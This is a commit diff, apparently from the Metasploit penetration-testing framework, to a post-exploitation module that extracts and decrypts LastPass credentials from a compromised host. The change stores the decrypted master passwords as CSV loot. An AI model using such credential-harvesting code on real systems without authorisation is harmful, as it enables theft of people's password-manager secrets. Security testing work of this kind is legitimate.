Loot the passwords, obviously

Meatballs1 · Oct 19, 2014 · 88c1647 · 88c1647
1 parent 0971d7c
commit 88c1647
Showing 1 changed file with 11 additions and 1 deletion.
diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb
@@ -104,7 +104,17 @@ def run
       password = clear_text_password(user, enc_pass)
       credentials_table << [account, browser, user, password]
     end
-    print_good credentials_table.to_s unless credentials.empty?
+    unless credentials.empty?
+      print_good credentials_table.to_s
+      path = store_loot(
+        "lastpass.creds",
+        "text/csv",
+        session,
+        credentials_table.to_csv,
+        nil,
+        "Decrypted LastPass Master Passwords"
+      )
+    end
   end
 
   # Returns a mapping of { Account => { Browser => paths } }